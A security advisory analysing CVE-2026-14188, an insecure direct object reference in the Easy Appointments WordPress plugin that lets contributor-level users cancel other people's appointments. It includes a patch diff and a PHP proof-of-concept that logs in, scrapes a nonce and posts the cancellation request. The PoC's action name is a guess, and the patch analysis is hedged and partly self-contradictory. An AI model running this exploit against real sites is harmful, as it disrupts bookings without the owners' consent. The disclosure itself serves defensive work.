Atomic Edge analysis of CVE-2026-14188: The Easy Appointments WordPress plugin, version 3.12.26 and earlier, contains an Insecure Direct Object Reference vulnerability in its AJAX handler for bulk appointment cancellation. This flaw allows an authenticated user with contributor-level access or above to cancel appointments belonging to other users, causing unauthorized modifications. The vulnerability has a CVSS score of 4.3 (medium severity) and is classified under CWE-639.
Root Cause: The vulnerable code resides in the `easy-appointments/src/ajax.php` file, within the AJAX action handler around lines 603-665. The handler retrieves the `appointments` parameter from a POST request using `sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )` (line 606). This treats the input as a single string, not an array. The code then iterates over this string with a foreach loop, extracting individual characters. For each character, it calls `get_row(‘ea_appointments’, $appointment_id, ARRAY_A)` to fetch an appointment record. However, the handler performs no authorization check to verify that the current user owns the appointment. Additionally, the user-controllable `appointments` parameter allows an attacker to specify arbitrary appointment IDs. The code only checks that the appointment’s date is in the future before updating its status to ‘abandoned’ (line 615) and issuing an SQL update. This combination of missing ownership validation and unvalidated ID input constitutes the Insecure Direct Object Reference.
Exploitation: An attacker can exploit this vulnerability by sending an AJAX POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to the vulnerable handler name (the specific action name is not shown in the diff, but it is present in the enclosing function). The attacker includes the `appointments` parameter with the ID of a target appointment they do not own. Because the parameter is treated as a string, the attacker can include a single character or a crafted string that encodes the target ID (e.g., the digit ‘1’ as a string, which will be processed as the appointment ID). The request must include a valid nonce if the handler enforces one, but the attacker with contributor access can obtain a nonce. The server will then fetch the target appointment, verify only that its date is in the future, and update its status to ‘abandoned’, effectively canceling it. This action can be performed repeatedly on multiple appointments by sending multiple requests.
Patch Analysis: The patch, introduced in version 3.12.27, changes the handling of the `appointments` parameter to properly process an array. Specifically, the line `$appointments = sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )` is replaced with `$response = false; $appointments = isset($_POST[‘appointments’]) ? array_map(‘absint’, wp_unslash($_POST[‘appointments’])) : [];`. This change assumes that the `appointments` parameter is an array and applies `absint` to each element, converting them to integers and filtering out non-numeric values. While this change prevents the string-based iteration trick and ensures IDs are integers, it does not add authorization checks. However, the patch also changes the appointment status from ‘abandoned’ to ‘canceled’. The change from string to array handling likely breaks the previous attack vector because the attacker would need to send an actual array, and the code would still process arbitrary IDs without ownership checks. The primary fix is likely the array handling, which prevents the trivial character-by-character iteration, but the lack of explicit authorization check remains a concern.
Impact: Successful exploitation allows an authenticated user with contributor-level access to cancel appointments belonging to other users. This can disrupt a booking service by canceling appointments for customers, leading to loss of trust and potential business impact. The attacker cannot read or modify appointment data beyond changing the status, and the impact is limited to availability and integrity of appointment records. The CVSS score of 4.3 reflects the medium severity due to the need for authentication and the limited scope of the action.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
* Plugin Name: Easy Appointments
* Plugin URI: https://easy-appointments.com/
* Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
* Requires PHP: 5.3
* Author: Nikola Loncar
* Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
/**
* Currently plugin version.
*/
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );
// path for source files
define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
}
-
- $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+ $response = false;
+ $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
$current_datetime = current_time('mysql');
foreach ($appointments as $appointment_id) {
$appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
if ($appointment) {
if (strtotime($appointment['date']) > strtotime($current_datetime)) {
$data = [
- 'status' => 'abandoned',
+ 'status' => 'canceled',
'id' => $appointment_id
];
foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
WHERE id = %d
";
// phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
- $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+ $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
}
if ($response === false) {
$this->send_err_json_result('{"err":true}');
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14188 - Easy Appointments <= 3.12.26 - Authenticated (Contributor+) Insecure Direct Object Reference
// Usage: php poc.php [target_base_url] [username] [password] [appointment_id]
// Example: php poc.php http://example.com/wordpress/ admin password 123
$target_url = isset($argv[1]) ? rtrim($argv[1], '/') : 'http://localhost/wordpress';
$username = isset($argv[2]) ? $argv[2] : 'contributor';
$password = isset($argv[3]) ? $argv[3] : 'password';
$appointment_id = isset($argv[4]) ? (int)$argv[4] : 1;
// Step 1: Login to get authentication cookies
$login_url = $target_url . '/wp-login.php';
$login_data = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
];
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
if (strpos($response, 'wp-admin') === false) {
echo "Login failed. Check credentials.n";
exit(1);
}
echo "Login successful.n";
// Step 2: Get a valid nonce from an admin page (assuming contributor can access dashboard)
$admin_url = $target_url . '/wp-admin/admin.php?page=ea-settings';
$ch = curl_init($admin_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches);
if (!isset($matches[1])) {
// If no nonce found, attempt to use an empty nonce or skip nonce requirement
$nonce = '';
echo "Nonce not found, attempting without.n";
} else {
$nonce = $matches[1];
echo "Nonce obtained: $noncen";
}
// Step 3: Send vulnerable AJAX request
// The vulnerable action is likely 'ea_cancel_appointments' or similar, but the exact name is not in the diff.
// We'll use a generic action name based on the function context.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$post_data = [
'action' => 'ea_cancel_appointments', // You may need to adjust this action name
'appointments' => (string)$appointment_id, // Sending as string to trigger the bug
'_wpnonce' => $nonce
];
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
curl_close($ch);
echo "Response: " . $response . "n";
if (strpos($response, 'err') === false) {
echo "Appointment $appointment_id may have been canceled.n";
} else {
echo "Request failed. Check action name and nonce.n";
}
?>